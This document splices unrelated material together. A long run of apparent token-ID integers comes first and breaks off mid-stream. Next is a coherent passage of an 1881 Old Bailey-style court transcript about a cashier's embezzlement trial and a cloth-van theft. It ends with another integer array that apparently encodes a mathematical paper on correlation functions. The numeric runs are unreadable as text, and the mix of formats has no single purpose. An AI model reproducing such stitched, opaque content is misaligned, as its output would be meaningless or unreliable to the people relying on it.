574, 417, 8344, 352, 1078, 840, 1128, 42, 513, 417, 871, 752, 253, 31197, 10770, 281, 1128, 783, 806, 3522, 273, 253, 7227, 14084, 18572, 14, 3305, 369, 4223, 13, 1283, 2787, 28, 432, 840, 7357, 4565, 13, 32626, 13, 359, 574, 417, 247, 7227, 7942, 14, 3305, 275, 776, 2136, 15, 187, 187, 1785, 14, 911, 33431, 15, 733, 369, 253, 18897, 434, 7143, 281, 1978, 253, 5098, 13, 285, 5913, 9331, 627, 310, 275, 731, 863, 3844, 281, 779, 1128, 42, 1160, 247, 7227, 8368, 273, 253, 5098, 13, 285, 840, 1691, 731, 715, 253, 3564, 273, 271, 49174, 15, 187, 187, 3463, 15, 6784, 15, 21430, 11840, 1922, 39845, 15, 309, 812, 417, 1089, 378, 825, 434, 673, 14, 6689, 1507, 13, 285, 309, 2546, 779, 323, 10125, 273, 731, 28, 309, 858, 417, 1333, 18544, 36765, 574, 4934, 731, 896, 1128, 18703, 753, 344, 574, 1677, 731, 281, 18544, 36765, 28, 597, 497, 1119, 275, 619, 8597, 15, 187, 187, 3463, 15, 6784, 15, 308, 1372, 51, 15, 2305, 15, 14702, 13, 253, 49174, 13, 12491, 619, 4116, 281, 253, 374, 77, 15, 374, 84, 15, 898, 69, 15, 534, 574, 644, 2908, 275, 247, 4067, 2408, 13, 854, 77, 15, 337, 84, 15, 721, 69, 904, 285, 309, 29504, 253, 4179, 347, 281, 326, 5382, 1128, 42, 1119, 326, 4661, 265, 2275, 263, 602, 574, 417, 1694, 253, 1984, 13, 3103, 309, 858, 417, 40832, 779, 1128, 9088, 310, 642, 10551, 347, 281, 253, 1264, 4957, 309, 452, 1677, 1128, 7710, 15, 10867, 25858, 4934, 253, 5098, 275, 1283, 2787, 15, 187, 187, 56, 10592, 43990, 11953, 7999, 964, 309, 717, 7091, 407, 2305, 15, 10867, 25858, 347, 3906, 14, 14889, 28, 18544, 36765, 369, 7942, 1321, 1128, 251, 3435, 394, 4596, 309, 2959, 374, 77, 15, 2145, 84, 15, 721, 69, 15, 432, 2305, 15, 1916, 91, 15235, 13, 374, 77, 15, 275, 5328, 285, 2145, 84, 15, 721, 69, 15, 275, 9711, 1128, 42, 1691, 352, 275, 253, 7145, 273, 18544, 36765, 434, 31579, 1128, 9389, 3038, 16906, 6827, 15, 34012, 10747, 3735, 479, 2028, 18544, 36765, 326, 2305, 15, 1916, 91, 15235, 574, 5087, 521, 2395, 13, 285, 326, 309, 1691, 352, 715, 253, 7145, 273, 521, 31579, 1128, 36, 319, 36765, 2335, 352, 562, 285, 16042, 352, 1128, 42, 2868, 344, 1691, 352, 896, 969, 15, 187, 187, 22708, 14, 911, 33431, 15, 6827, 15, 34012, 10747, 4536, 2959, 2583, 1128, 42, 2959, 2583, 1512, 1128, 21707, 15, 34012, 10747, 2722, 253, 6383, 849, 281, 789, 253, 17392, 10679, 1128, 42, 513, 417, 871, 849, 1142, 789, 3767, 627, 403, 28, 2305, 15, 10867, 25858, 390, 18544, 36765, 651, 2075, 731, 1128, 36, 319, 36765, 5087, 479, 619, 17575, 13, 608, 84, 15, 247, 2129, 1128, 783, 5098, 497, 275, 253, 3906, 1128, 42, 1620, 3047, 253, 7942, 14, 3305, 12623, 1128, 42, 3047, 253, 1355, 7942, 14, 3305, 1128, 6892, 265, 2275, 263, 602, 908, 352, 15, 187, 187, 24582, 9051, 38637, 37, 1843, 18587, 964, 309, 717, 2419, 20984, 387, 2305, 15, 10850, 434, 13, 275, 1457, 5720, 1128, 42, 4456, 42796, 7746, 18544, 36765, 327, 3435, 394, 4596, 670, 253, 2583, 534, 309, 3047, 253, 21205, 2075, 1128, 42, 2427, 715, 253, 3906, 281, 923, 604, 2305, 15, 10867, 25858, 369, 275, 13, 285, 2305, 15, 1916, 91, 15235, 369, 6179, 1128, 783, 5006, 1160, 562, 247, 17191, 1223, 309, 369, 9583, 4645, 849, 281, 789, 247, 5145, 1128, 7710, 15, 1916, 91, 15235, 753, 521, 3226, 858, 417, 2096, 352, 1128, 248, 2335, 253, 17191, 1977, 13, 285, 42796, 1691, 253, 2583, 275, 18544, 36765, 434, 31579, 1128, 9453, 18544, 36765, 2210, 275, 13, 42796, 753, 13, 346, 7710, 15, 1916, 91, 15235, 556, 1925, 281, 2075, 271, 2395, 13, 285, 253, 2583, 310, 275, 634, 31579, 937, 390, 346, 42, 452, 1691, 253, 2583, 275, 634, 31579, 23887, 36, 319, 36765, 840, 2206, 1066, 13, 285, 2335, 253, 2583, 562, 273, 253, 31579, 1128, 42, 2550, 2028, 752, 344, 858, 342, 352, 15, 187, 187, 22708, 14, 911, 33431, 15, 309, 452, 2959, 2583, 432, 6383, 1128, 42, 513, 417, 871, 752, 253, 18897, 858, 275, 253, 9055, 1128, 248, 369, 275, 285, 562, 247, 1175, 2968, 1128, 42, 858, 417, 871, 665, 2197, 779, 562, 15, 187, 187, 43, 15, 378, 5626, 15, 309, 717, 271, 49174, 273, 337, 13, 443, 2935, 312, 11103, 723, 13, 378, 2355, 24489, 5720, 1128, 42, 6730, 253, 5098, 670, 247, 7574, 6170, 3622, 1128, 9328, 403, 1077, 16426, 4934, 1128, 42, 1160, 247, 5511, 281, 2305, 15, 10867, 25858, 670, 271, 5382, 273, 374, 77, 15, 374, 84, 15, 898, 69, 904, 534, 309, 574, 26098, 1128, 262, 369, 5966, 327, 253, 17191, 1930, 273, 253, 7942, 14, 3305, 275, 247, 4067, 2020, 13, 285, 4620, 275, 247, 1027, 1416, 1128, 2577, 8368, 6508, 432, 4162, 13, 32626, 13, 7357, 253, 1246, 673, 1128, 42, 1089, 642, 12028, 273, 253, 22661, 854, 77, 15, 495, 84, 904, 374, 77, 904, 285, 374, 77, 15, 2145, 84, 15, 721, 69, 15, 3707, 326, 253, 854, 77, 15, 495, 84, 15, 310, 5966, 275, 253, 3977, 1063, 1128, 783, 32305, 728, 5857, 310, 253, 18897, 434, 47021, 15, 187, 187, 22708, 14, 911, 33431, 15, 309, 2550, 24156, 281, 253, 3877, 273, 31197, 1128, 42, 1379, 253, 5857, 17965, 15, 187, 187, 43, 37743, 443, 1277, 55, 9051, 313, 1785, 14, 911, 33431, 481, 380, 18897, 2210, 715, 619, 8410, 275, 4162, 13, 32626, 13, 347, 271, 4465, 1133, 387, 806, 13, 281, 10073, 479, 275, 247, 15091, 1411, 15551, 2967, 30683, 3423, 28, 344, 369, 619, 7942, 1321, 432, 326, 673, 1128, 248, 5196, 2994, 594, 973, 326, 309, 1160, 779, 619, 3963, 7942, 1321, 1128, 39, 40885, 4934, 253, 5098, 1264, 3618, 15, 187, 187, 510, 18897, 2959, 247, 1175, 1894, 15, 187, 187, 10311, 31844, 3077, 25090, 964, 187, 187, 2512, 497, 767, 643, 13, 15825, 942, 1411, 779, 534, 497, 3067, 454, 9306, 7357, 1735, 28674, 15, 187, 187, 24650, 14732, 25277, 28781, 13, 4162, 721, 394, 13, 49120, 15, 187, 187, 8639, 2305, 15, 4568, 2621, 15, 187, 187, 12905, 11057, 27, 246, 17599, 740, 22130, 14, 25208, 187, 187, 25208, 15, 500, 37743, 388, 4966, 29587, 313, 1787, 582, 21430, 1372, 7538, 3915, 8199, 18041, 313, 1348, 582, 285, 6589, 6764, 1703, 30273, 1400, 313, 1706, 10, 1157, 2951, 4052, 8676, 21968, 273, 17848, 285, 1740, 14872, 2219, 13, 253, 10229, 273, 29222, 31662, 285, 2571, 15, 187, 187, 1277, 3886, 3322, 367, 27413, 964, 309, 717, 247, 27134, 1342, 281, 24008, 285, 31662, 13, 17848, 30380, 13, 273, 659, 15, 5171, 434, 6412, 13514, 1128, 42, 3047, 8676, 21968, 273, 17848, 275, 253, 10023, 273, 253, 3513, 1128, 262, 14125, 281, 731, 1128, 2877, 41281, 77, 25277, 2520, 310, 581, 273, 731, 313, 36008, 481, 1128, 9328, 497, 14998, 275, 1740, 2219, 7101, 388, 15, 353, 15, 708, 322, 904, 285, 8549, 281, 581, 273, 11328, 434, 362, 507, 327, 608, 394, 4247, 13, 285, 2668, 281, 253, 12047, 3995, 3277, 333, 1128, 9328, 1669, 776, 18702, 670, 1249, 1128, 42, 3735, 273, 616, 2957, 670, 1249, 258, 8, 13273, 253, 1072, 1388, 15, 187, 187, 1703, 48941, 3915, 9466, 964, 309, 717, 247, 1113, 1342, 275, 253, 2579, 273, 7727, 11328, 285, 11832, 13, 273, 21570, 83, 1334, 5720, 1128, 10383, 1249, 15, 1010, 268, 15, 78, 15, 327, 608, 394, 4247, 309, 2959, 1740, 2219, 432, 24008, 285, 31662, 1128, 42, 2335, 731, 281, 12151, 17305, 455, 5720, 13, 1694, 247, 15076, 1340, 13, 285, 2427, 327, 281, 659, 15, 12221, 18549, 434, 7061, 1128, 66, 9931, 2210, 598, 285, 7560, 281, 479, 1128, 4064, 752, 344, 753, 309, 1694, 1066, 432, 253, 3889, 285, 2427, 896, 281, 5791, 1962, 522, 1128, 1439, 6523, 13098, 627, 309, 2427, 896, 281, 835, 309, 1669, 619, 3889, 13, 285, 352, 574, 15159, 1128, 42, 3047, 352, 1735, 4131, 275, 253, 10023, 273, 253, 3513, 1128, 2520, 310, 581, 273, 253, 2219, 1128, 783, 5006, 369, 247, 20218, 281, 479, 15, 187, 187, 56, 10592, 43990, 611, 5607, 29587, 964, 313, 49, 3422, 11155, 443, 15, 21566, 481, 1623, 608, 394, 4247, 670, 818, 268, 15, 78, 15, 309, 369, 275, 253, 34999, 2191, 8669, 1128, 42, 1119, 581, 273, 11328, 434, 362, 507, 342, 642, 581, 2819, 846, 352, 1128, 9088, 369, 581, 8815, 1128, 262, 369, 6306, 407, 247, 1345, 14, 5967, 1128, 42, 2335, 352, 281, 253, 4660, 1128, 42, 16906, 2427, 281, 2305, 15, 11328, 15, 187, 187, 6663, 3077, 3123, 367, 1372, 4827, 964, 313, 49, 3422, 11155, 388, 15, 25653, 481, 11376, 374, 247, 15, 78, 15, 327, 721, 394, 4247, 309, 369, 327, 7143, 275, 322, 1506, 4714, 5720, 13, 22169, 2110, 6115, 8669, 1128, 42, 574, 3597, 253, 11008, 285, 1119, 731, 4999, 1128, 42, 3735, 690, 581, 3515, 285, 690, 581, 1067, 562, 13, 346, 6826, 327, 13, 5332, 23887, 9328, 3531, 715, 253, 22169, 2110, 6115, 8669, 13, 285, 309, 3663, 8184, 273, 731, 1128, 42, 2427, 896, 715, 322, 1506, 4714, 5720, 13, 670, 1384, 13, 11433, 432, 253, 187, 187, 1935, 5967, 3369, 13, 285, 5055, 598, 247, 637, 434, 7856, 1128, 42, 2427, 327, 1128, 42, 3047, 253, 20784, 14, 5967, 3369, 1527, 1128, 6050, 309, 369, 17565, 253, 513, 254, 253, 18897, 22801, 2210, 275, 271, 7285, 3884, 432, 7055, 249, 5720, 1128, 248, 6337, 1977, 1128, 42, 3047, 344, 574, 642, 7856, 327, 13, 285, 3534, 24577, 1128, 42, 7270, 779, 275, 6412, 8669, 13, 22169, 2110, 6115, 13, 670, 7469, 11433, 745, 1128, 42, 2546, 779, 752, 344, 369, 3515, 323, 28, 344, 10090, 13, 346, 16440, 23887, 42, 2546, 779, 752, 344, 3078, 275, 322, 1506, 4714, 5720, 9801, 753, 344, 574, 1705, 627, 281, 2619, 598, 521, 7856, 1128, 42, 2692, 779, 253, 7856, 534, 309, 574, 275, 619, 1133, 13, 285, 2546, 779, 604, 352, 369, 521, 28, 344, 753, 346, 4374, 13, 326, 310, 7477, 23887, 42, 753, 344, 651, 452, 281, 564, 896, 342, 479, 1128, 42, 1313, 9651, 1716, 11351, 11422, 387, 253, 7145, 273, 21491, 5720, 1128, 248, 2210, 896, 342, 479, 285, 2427, 3304, 13, 253, 28894, 1128, 248, 2210, 562, 285, 753, 13, 346, 2512, 403, 247, 2257, 273, 21968, 273, 17848, 28, 309, 588, 2186, 253, 18897, 13, 368 ]

he has also paid the man at Southgate two or three times—there were two fitters; one was Lock and the other Long—Cowdry paid them both; that was before Christmas—he paid petty disbursements out of cash he received; that was not with my approval—he should have drawn a cheque—I call petty cash, amounts under a sovereign, but we never make a limit of a shilling—I always complained of his paying money out of petty cash—I heard of it six or eight times from November onwards; I always objected to it—I charged the man named Cheese—borough with not giving up his petty cash-book—I threatened to prosecute him for stealing it unless he could give a proper account of it—88l. 10s. was paid into my bank about July 24th, on 31st 6l., after that 5l. 8s. 11d.—he demanded one shilling an hour if he made up his accounts after he left—there was a balance against him; it has been allowed since—I saw some pencil marks in my writing in the ledger; I kept the books before Cowdry came—I remember charging the prisoner before the Magistrate with embezzling 2l. 2s. 9d.—I afterwards found I was mistaken—the collecting-book was put into my hand before the Magistrate—I saw 4l. 13s. 6d. marked off as paid, and I noticed the interrogation mark; I had not noticed it before then—I do not know what the interrogation refers to—the first date of the rough scroll scrap-book was August, 1879; from then till December, 1880, we had not a rough cash-book in our business. Re-examined. It was the prisoner's duty to keep the books, and whatever fault there is in them attaches to him—I made a rough examination of the books, and then put them into the hands of an accountant. By.MR. GEOGHEGAN. I could not find Bock's time-sheets, and I asked him for copies of them; I did not say Cowdry had kept them back—Lock said he had given them to Cowdry; they were found in my desk. By.MR. TORR. Mr. Ball, the accountant, drew my attention to the 2l. 2s. 9d. which had been included in a larger amount, 8l. 1s. 6d., and I withdrew the charge as to that item—I found that Cheeseborough had not got the book, therefore I did not prosecute him—there is no mistake as to the three items I have given—Mr. Garvie kept the books in 1879. WILLIAM FLINT. I am employed by Mr. Garvie as office-boy; Cowdry was cashier—on 27th November I received 2l. 13s. 6d. from Mr. Tozeland, 2l. in gold and 13s. 6d. in silver—I put it in the corner of Cowdry's drawer—two hours afterwards Mrs. Middleton heard me tell Cowdry that Mr. Tozeland had paid his account, and that I put it into the corner of his drawer—Cowdry took it out and counted it—I believe he put it back again. Cross-examined. Mrs. Middleton sometimes received money—I received money too—Mrs. Middleton shows the customers how to work the washing machines—I do not know how many workmen there are; Mr. Garvie or Cowdry would pay them—Cowdry paid me my wages, 5s. a week—the books were in the office—I never saw the cash-book locked—I saw the small cash-book—Cheeseborough used it. ANNIE MIDDLETON. I am housekeeper at Mr. Game's, in New Street—I remember Flint telling Cowdry on 27th November about the money which I saw the gentleman pay—I went into the office to see if Mr. Garvie was in, and Mr. Tozeland was waiting—the boy made out a receipt while I was engaged showing how to work a machine—Mr. Tozeland said his girl did not understand it—he took the receipt away, and Flint put the money in Cowdry's drawer—when Cowdry came in, Flint said, "Mr. Tozeland has called to pay an account, and the money is in your drawer," or "I have put the money in your drawer"—Cowdry then sat down, and took the money out of the drawer—I cannot tell what he did with it. Cross-examined. I have received money from customers—I do not know what the prisoner did in the afternoon—he was in and out a good deal—I did not know who sent him out. J. BALL. I am an accountant of 1, Gresham Buildings, Basinghall Street—I examined the books about a fortnight ago—they are very badly kept—I made a communication to Mr. Garvie about an item of 2l. 2s. 9d., which I had traced—it was entered on the receipt side of the cash-book in a larger sum, and appears in a different name—my examination extended from April, 1880, till the present time—I find no entries of the sums 8l. 3s., 2l., and 2l. 13s. 6d. except that the 8l. 3s. is entered in the ledger—the queried entry is the prisoner's handwriting. Cross-examined. I cannot swear to the note of interrogation—I take the entry altogether. JAMES GARVIE (Re-examined). The prisoner came into my employment in April, 1880, as an extra hand at first, to assist me in a lawsuit against Messrs Butterfield; he was my cashier from that time—he conducted himself so well that I made him my regular cashier—Fowler kept the books three weeks. The prisoner received a good character. NOT GUILTY. There were two other, indictments against him which were adjourned till next Session. NEW COURT.—Wednesday, April 6th, 1881. Before Mr. Recorder. Reference Number: t18810328-403 403. JAMES HATELEY (37), GEORGE STEVENS (24), and ALFRED GREEN (34), Stealing 53 rolls of cloth and four wooden cases, the goods of Isaac Mead and others. ARTHUR PYE. I am a warehouseman to Hughes and Mead, cloth merchants, of St. Paul's Churchyard—I saw 53 rolls of cloth in the possession of the police—it belongs to them—value 398l.—this is one of them (produced).—they were packed in four cases marked H. M. & S., and delivered to one of Davis's vans on 5th January, and taken to the Custom House Quay—they left our premises about 12—I heard of their loss about 12 o'clock the same day. EDWARD STOCK. I am a carman in the service of Richard Davis and Son, of Knightrider Street—about 12.15 p.m. on 5th January I received four cases from Hughes and Mead—I took them to Leadenhall Street, got a shipping order, and went on to St. Dunstan's Hill—a lad came up and spoke to me—from what he said I got down from the van and went back to Eastcheap—not seeing anybody there I went back to where I left my van, and it had disappeared—I saw it next morning in the possession of the police—this is one of the cases—the boy was a stranger to me. WILLIAM KEELEY. (Policeman G. 404). On 5th January about 7 p.m. I was in the Hackney Road—I found one of Davis's vans with no one looking after it—there was one horse—it was standing by a public-house—I took it to the station—I afterwards went to Mr. Davis. PHILIP PORTER. (Policeman H. 222). About 2 a.m. on 6th January I was on duty in Satchwell Street, Bethnal Green Road—I had tried the doors and found them safe—I heard some one running and some one call out, "Go on, Jack"—they turned into the Bethnal Green Road, and I lost sight of them—I went back into Satchwell Street, about 20, yards from the warehouse door, and picked up a man's hat—I went on—I saw the ware-house door open—while I was examining the doer the prisoner Stevens came in an opposite direction from Turin Street—he ran away—I saw he had no hat on, and gave chase—I caught him in Church Road, Bethnal Green, about 300 yards off—I asked him what he was running for; he laid, "Nothing"—I asked him what he wanted in Satchwell Street fee said he had come there to pick up his hat—I showed him the hat which I had in my hand, and asked him if it was his; he said "Yes, that is mine"—I said he would have to go back with me—I met Police Constable 87 at the corner of Orange Street—he came back with me and went inside, the gateway—he came out and said, "There are a lot of rolls of cloth; I will hold the prisoner, you

[ 22, 187, 187, 936, 1089, 187, 187, 2811, 253, 760, 3607, 273, 795, 34, 465, 64, 285, 795, 35, 465, 64, 359, 878, 403, 187, 187, 395, 13, 347, 795, 10227, 64, 19167, 4150, 795, 79, 64, 1157, 187, 187, 11888, 841, 34754, 359, 1089, 187, 187, 2811, 253, 10303, 795, 46, 64, 313, 795, 76, 64, 2387, 342, 795, 76, 64, 18315, 374, 9, 795, 79, 64, 4150, 337, 10, 403, 20059, 275, 795, 10227, 64, 323, 50275, 8497, 326, 253, 10235, 273, 50275, 7110, 247, 15903, 387, 795, 10227, 64, 426, 4150, 795, 79, 64, 285, 253, 10235, 273, 50275, 7110, 247, 15903, 387, 50276, 15, 844, 778, 1024, 8488, 253, 12400, 313, 19, 15, 3763, 10, 407, 13872, 795, 10227, 64, 19167, 4150, 795, 79, 64, 281, 4044, 187, 187, 395, 359, 778, 8488, 12400, 313, 19, 15, 3832, 10, 407, 13872, 50275, 936, 4044, 187, 187, 17756, 13, 417, 760, 1057, 50275, 24796, 281, 320, 20059, 387, 50275, 12157, 273, 253, 3361, 273, 2426, 14495, 281, 256, 3757, 50275, 2858, 50273, 18566, 417, 2226, 604, 50276, 15, 496, 1798, 13, 253, 5058, 14, 3423, 16329, 1057, 417, 2226, 604, 50276, 15, 187, 187, 9, 795, 37, 64, 2387, 50275, 44982, 26329, 13, 795, 10227, 64, 426, 470, 187, 187, 1147, 4558, 281, 1263, 253, 1083, 795, 10227, 64, 426, 470, 15, 380, 2045, 34754, 1891, 275, 436, 1083, 984, 22459, 2426, 273, 1340, 50275, 12781, 485, 1774, 15, 4325, 313, 19, 15, 1348, 10, 359, 452, 187, 187, 1909, 1078, 13, 2193, 273, 795, 50020, 64, 2239, 795, 3393, 64, 8162, 760, 281, 247, 11276, 2962, 275, 8909, 9136, 273, 50276, 15, 2091, 795, 50020, 64, 5062, 470, 359, 16851, 23, 187, 187, 2811, 795, 7072, 64, 5062, 470, 15, 48442, 17271, 310, 31752, 434, 3638, 285, 187, 187, 5872, 970, 313, 19, 15, 2405, 10, 285, 313, 19, 15, 1237, 10, 359, 778, 16851, 187, 187, 8457, 50275, 664, 778, 5645, 187, 187, 5872, 359, 778, 4044, 253, 4283, 2426, 275, 253, 11193, 407, 734, 28276, 7367, 273, 9554, 285, 15706, 253, 5170, 2701, 273, 253, 795, 2141, 64, 9554, 407, 13246, 241, 13, 281, 4044, 187, 187, 2811, 24, 187, 187, 39899, 313, 19, 15, 3121, 10, 27309, 625, 7808, 685, 667, 24622, 1612, 273, 50275, 284, 50275, 395, 310, 3103, 417, 273, 253, 830, 313, 18, 15, 1047, 795, 68, 64, 2387, 534, 310, 4764, 1025, 407, 253, 346, 26717, 23653, 3, 795, 10227, 4414, 187, 187, 20, 15, 5851, 947, 7669, 9975, 1042, 14, 4350, 1042, 27196, 33792, 6570, 37607, 44622, 187, 187, 2512, 403, 13, 273, 2282, 13, 1142, 5799, 5508, 14, 16056, 5921, 3470, 323, 767, 27923, 2822, 253, 7548, 273, 776, 2716, 14, 13568, 273, 1680, 272, 27923, 13, 285, 359, 588, 1461, 460, 776, 1600, 281, 253, 2714, 1083, 672, 1097, 27923, 403, 275, 253, 7548, 4194, 337, 15, 844, 840, 897, 253, 30221, 273, 10372, 19048, 285, 1089, 326, 323, 667, 10979, 275, 776, 4849, 187, 187, 2811, 13, 432, 5466, 15, 374, 342, 50276, 13, 187, 187, 395, 13, 970, 271, 4154, 2074, 281, 326, 273, 5466, 15, 374, 13, 187, 187, 395, 187, 187, 510, 806, 1307, 275, 313, 20, 15, 18, 10, 310, 7478, 347, 50276, 15, 187, 187, 1231, 403, 6110, 760, 275, 253, 50275, 17465, 273, 313, 20, 15, 18, 481, 496, 16585, 50275, 262, 310, 4293, 1585, 1880, 359, 1339, 50275, 9131, 390, 846, 50276, 15, 1198, 16397, 13, 1339, 50275, 7053, 15, 25, 2635, 352, 310, 4354, 2326, 326, 13, 323, 50276, 15, 3813, 13, 253, 806, 767, 2426, 275, 313, 20, 15, 18, 10, 29259, 347, 50276, 15, 5488, 13, 604, 795, 78, 64, 8611, 243, 470, 13, 187, 187, 601, 359, 7525, 326, 323, 667, 4849, 273, 14120, 551, 795, 38, 64, 374, 94, 187, 187, 1552, 310, 281, 320, 17522, 689, 551, 795, 38, 64, 374, 94, 275, 253, 50275, 17465, 285, 359, 1089, 187, 187, 1992, 1263, 253, 4283, 1307, 273, 313, 20, 15, 22, 10, 672, 795, 10227, 64, 426, 795, 48, 64, 313, 18, 582, 359, 1056, 253, 35225, 313, 19, 15, 1036, 582, 313, 19, 15, 1093, 582, 285, 313, 19, 15, 746, 481, 844, 671, 4853, 187, 187, 1909, 1078, 13, 359, 1908, 253, 9021, 281, 253, 470, 9909, 432, 470, 654, 795, 10977, 64, 654, 795, 47, 64, 4150, 19, 285, 795, 10977, 64, 2239, 795, 47, 64, 4150, 19, 11794, 15, 380, 7680, 432, 795, 10977, 64, 2239, 795, 47, 64, 4150, 19, 310, 13, 281, 8840, 1340, 275, 795, 47, 64, 1157, 3907, 273, 795, 10227, 64, 285, 7024, 760, 327, 795, 78, 4414, 3813, 13, 359, 452, 187, 187, 2811, 795, 71, 64, 313, 795, 78, 64, 2387, 310, 253, 7680, 281, 795, 34, 64, 4150, 18, 9, 18, 13, 470, 28, 337, 13, 795, 78, 64, 2387, 795, 11927, 64, 432, 795, 50020, 64, 2239, 795, 47, 64, 4150, 19, 15, 187, 187, 510, 795, 47, 64, 374, 10096, 273, 253, 9909, 275, 313, 20, 15, 24, 10, 310, 1160, 6843, 407, 970, 313, 19, 15, 1423, 10, 281, 1089, 323, 1781, 795, 50020, 64, 326, 187, 187, 17756, 604, 359, 823, 285, 43444, 337, 275, 253, 795, 50020, 64, 9909, 359, 778, 9017, 253, 5170, 2701, 273, 9554, 281, 23579, 285, 4044, 187, 187, 2811, 187, 187, 510, 1159, 50275, 11159, 320, 1160, 6843, 407, 38883, 253, 958, 326, 352, 310, 3907, 273, 795, 10227, 4414, 3813, 13, 50275, 11159, 320, 10302, 407, 7296, 1040, 795, 10227, 64, 1040, 5062, 795, 47, 64, 374, 285, 10568, 326, 253, 1307, 275, 50275, 4609, 310, 3907, 273, 795, 47, 64, 5194, 2057, 342, 253, 4283, 1307, 273, 253, 795, 53, 64, 19167, 795, 53, 260, 64, 2701, 273, 40955, 313, 48818, 15, 22, 15, 1717, 10, 390, 313, 48818, 15, 23, 15, 883, 10, 273, 50276, 13, 534, 403, 3588, 323, 795, 78, 64, 1040, 795, 53, 64, 4150, 795, 53, 260, 64, 93, 9280, 337, 13, 390, 342, 253, 4283, 1307, 273, 253, 795, 85, 64, 19167, 13246, 241, 313, 795, 85, 64, 541, 112, 19167, 13246, 241, 10, 3879, 273, 50275, 28821, 407, 40955, 313, 48818, 15, 25, 15, 3156, 10, 390, 313, 48818, 15, 25, 15, 2945, 582, 534, 403, 3588, 323, 795, 78, 64, 1040, 795, 53, 64, 4150, 795, 53, 260, 64, 93, 426, 795, 48, 64, 313, 18, 481, 844, 513, 417, 1902, 281, 320, 2104, 281, 18302, 625, 685, 253, 806, 1307, 326, 7024, 327, 795, 78, 64, 273, 253, 7466, 984, 253, 11193, 313, 20, 15, 26, 10, 18369, 84, 512, 2426, 273, 1340, 795, 48, 64, 313, 795, 47, 64, 4150, 19, 481, 187, 187, 1231, 4459, 436, 562, 407, 40944, 50275, 4064, 313, 19, 15, 938, 10, 275, 313, 20, 15, 26, 10, 285, 970, 313, 19, 15, 2385, 10, 281, 1089, 187, 187, 3039, 1040, 795, 10227, 64, 1040, 19167, 13246, 241, 359, 897, 253, 20185, 7466, 313, 19, 15, 2537, 10, 285, 4044, 187, 187, 7542, 187, 187, 395, 187, 187, 664, 11120, 1089, 187, 187, 510, 806, 767, 2426, 275, 436, 7466, 513, 417, 3469, 327, 795, 47, 64, 672, 1040, 795, 10227, 64, 1040, 5062, 795, 47, 64, 374, 13, 285, 597, 5194, 342, 253, 4283, 1307, 273, 313, 48818, 15, 25, 15, 1449, 10, 672, 795, 53, 64, 2239, 795, 53, 260, 64, 285, 342, 253, 806, 767, 2426, 273, 313, 48818, 15, 25, 15, 1449, 10, 672, 795, 53, 64, 654, 795, 53, 260, 4414, 3813, 359, 7525, 326, 187, 187, 1992, 12106, 2007, 50275, 262, 310, 4217, 281, 24813, 313, 20, 15, 883, 481, 3973, 3877, 326, 13, 1580, 187, 187, 664, 452, 187, 187, 688, 253, 806, 313, 9815, 10, 9909, 13, 359, 778, 22403, 253, 25883, 273, 9554, 281, 253, 2762, 313, 12373, 10, 21833, 209, 50020, 14, 10565, 15, 2635, 359, 778, 897, 253, 5886, 26, 187, 187, 2811, 795, 43, 64, 1040, 795, 10227, 64, 1040, 9, 795, 20933, 64, 2387, 285, 795, 58, 64, 1040, 795, 10227, 64, 1040, 9, 795, 20933, 64, 2387, 403, 253, 378, 25740, 3470, 273, 253, 806, 285, 1273, 2238, 534, 403, 2931, 347, 187, 187, 395, 187, 187, 14131, 359, 4044, 253, 6799, 906, 187, 187, 688, 436, 830, 13, 352, 310, 2590, 326, 187, 187, 2811, 253, 1390, 5150, 778, 320, 2797, 432, 313, 19, 15, 1839, 481, 831, 310, 4555, 253, 1318, 326, 310, 2797, 275, 253, 1623, 84, 3800, 10979, 15, 831, 39165, 7052, 342, 253, 1318, 273, 50275, 49845, 1243, 275, 5466, 15, 374, 285, 310, 247, 24863, 20028, 273, 253, 958, 326, 50275, 261, 417, 247, 5912, 337, 1789, 15, 187, 187, 688, 2087, 13, 50275, 32824, 320, 4469, 275, 2426, 273, 10334, 2907, 3470, 15, 2091, 50275, 263, 50276, 13, 2299, 13, 625, 8077, 1877, 310, 1896, 15, 187, 187, 9, 74, 10, 187, 187, 688, 436, 1083, 187, 187, 395, 359, 1089, 187, 187, 1552, 310, 10534, 4503, 281, 253, 4283, 1307, 273, 253, 795, 53, 64, 426, 795, 53, 260, 7481, 50275, 4347, 6232, 273, 50275, 1542, 1781, 795, 78, 64, 1677, 407, 313, 48818, 15, 25, 15, 2945, 481, 5488, 13, 436, 7274, 697, 50275, 17465, 347, 50276, 15, 1292, 1580, 795, 53, 64, 8611, 243, 795, 53, 260, 7481, 436, 3468, 20157, 2746, 281, 253, 50275, 17465, 39165, 16821, 342, 253, 17619, 2746, 281, 253, 50275, 17465, 12322, 407, 50276, 13, 285, 8025, 407, 253, 346, 26717, 23653, 3, 5740, 273, 5921, 3470, 5469, 275, 253, 10199, 15, 187, 187, 9, 2886, 10, 187, 187, 688, 436, 1083, 187, 187, 395, 359, 1089, 187, 187, 1466, 50275, 395, 1089, 187, 187, 2811, 32982, 50275, 395, 4927, 50275, 609, 253, 37353, 285, 7349, 460, 28676, 2931, 407, 313, 48818, 15, 25, 15, 1235, 10, 285, 313, 48818, 15, 25, 15, 3712, 481, 2091, 50275, 261, 1355, 359, 778, 897, 253, 7466, 740, 273, 32982, 50275, 395, 4927, 50275, 936, 3630, 187, 187, 1552, 310, 4518, 417, 795, 11969, 64, 281, 253, 4283, 1307, 273, 253, 795, 53, 64, 426, 795, 53, 260, 7481, 50275, 4347, 6232, 273, 50275, 28821, 275, 10372, 19048, 13, 533, 352, 795, 6772, 3844, 64, 352, 347, 50276, 15, 2091, 50275, 261, 1781, 13, 359, 452, 253, 20185, 7466, 187, 187, 20517, 359, 923, 326, 253, 2746, 281, 253, 50275, 17465, 310, 20157, 2581, 685, 17619, 15, 187, 187, 3378, 253, 11259, 2530, 407, 841, 767, 2714, 2219, 13, 359, 1614, 281, 253, 2087, 1083, 285, 1263, 253, 954, 4722, 14155, 2219, 273, 313, 20, 15, 1423, 2262, 313, 795, 66, 64, 2387, 795, 10227, 64, 4229, 13, 50276, 28, 313, 795, 67, 64, 2387, 795, 10227, 64, 8611, 243, 470, 4229, 13, 50276, 28, 285, 313, 795, 68, 64, 2387, 795, 10227, 64, 426, 470, 13, 50276, 15, 187, 187, 9, 795, 66, 64, 2387, 795, 10227, 64, 4229, 13, 187, 187, 688, 436, 1083, 13, 359, 1902, 281, 1056, 3057, 342, 10372, 19048, 15, 496, 1798, 13, 359, 1902, 326, 672, 50275, 783, 1307, 3907, 273, 795, 47, 64, 943, 5194, 342, 253, 795, 53, 64, 426, 795, 53, 260, 7481, 795, 78, 64, 19167, 13246, 241, 